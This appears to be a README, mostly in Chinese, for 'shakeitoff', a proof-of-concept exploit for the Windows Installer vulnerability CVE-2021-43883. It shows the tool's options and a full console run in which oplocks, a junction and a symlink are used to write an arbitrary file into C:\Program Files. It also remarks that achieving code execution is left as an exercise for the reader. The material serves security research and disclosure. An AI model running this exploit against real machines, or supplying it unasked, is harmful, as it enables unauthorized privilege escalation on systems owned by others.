更小、更精简、更干净的 InstallerFileTakeOver 版本，即 CVE-2021-41379 的“变种”零日漏洞（后来被分配为 CVE-2021-43883）。此版本不会像 InstallerFileTakeOver 那样弹出 shell。该代码的目的是创建一个更简单的概念验证，更可靠地演示文件创建攻击。此概念验证将创建用户请求的任意文件（并将自身复制到该文件中以证明可写性）。演示代码执行是一个留给读者的简单练习。
要了解该攻击的工作原理，请参阅 AttackerKB 文章。
该工具需要三个参数：
C:\Users\albinolobster\source\repos\shakeitoff\x64\Release>.\shakeitoff.exe
option "msi_path" is required
Allowed options:
-h, --help produce help message
-m, --msi_path arg The path to the MSI to install
-i, --install_path arg The path to install to
-p, --target_path arg The file to create
该 PoC 只会将自身复制到目标文件中。
C:\Users\Public>dir "C:\Program Files\lol"
Volume in drive C has no label.
Volume Serial Number is 5E1E-AC13
Directory of C:\Program Files
File Not Found
C:\Users\Public>.\shakeitoff.exe -m C:\Users\Public\shakeitoff.msi -i C:\Users\Public\lol\ -p "C:\Program Files\lol"
[+] User provided MSI path: C:\Users\Public\shakeitoff.msi
[+] The target path is: C:\Program Files\lol
[+] Create the temp directory structure we'll install into
[+] Grabbing handle to lock C:\Users\Public\lol\shakeitoff\haters.jpg
[+] Grabbing a directory handle of C:\Users\Public\lol\shakeitoff\
[+] Monitor shakeitoff\shakeitoff for an rbf file
[+] MSI install: ACTION=ADMIN REBOOT=ReallySuppress TARGETDIR=C:\Users\Public\lol\ C:\Users\Public\shakeitoff.msi
[+] Grabbing a handle to inner shakeitoff directory
[+] In callback for oplock one
[+] Opening handle to C:\Users\Public\lol\shakeitoff\8da858.rbf
[+] Creating the callback directory at C:\Users\Public\lol\cb_directory
[+] Grab a handle for the callback directry
[+] Creating a junction from C:\Users\Public\lol\cb_directory to \BaseNamedObjects\Restricted
[+] Inside callback two
[+] Release the hater.jpg handle to unlock
[+] Move the rbf file to C:\Users\Public\lol\weird_directory
[+] Move inner shakeitoff to C:\Users\Public\lol\weird_directory
[+] Move junction at C:\Users\Public\lol\cb_directory to C:\Users\Public\lol\shakeitoff
[+] Configuring symlink from \BaseNamedObjects\Restricted\8da858.rbf to \??\C:\Program Files\lol
[+] symlink created!
[+] MsiInstallProductA return value: 1603
[+] Exploit thread joined
[+] Copy into target!
C:\Users\Public>dir "C:\Program Files\lol"
Volume in drive C has no label.
Volume Serial Number is 5E1E-AC13
Directory of C:\Program Files
12/02/2021 02:01 PM 368,640 lol
1 File(s) 368,640 bytes
0 Dir(s) 86,015,610,880 bytes free
FileOpLock 代码是从 angrypolarbearbug2 中提取的（略有修改）版本。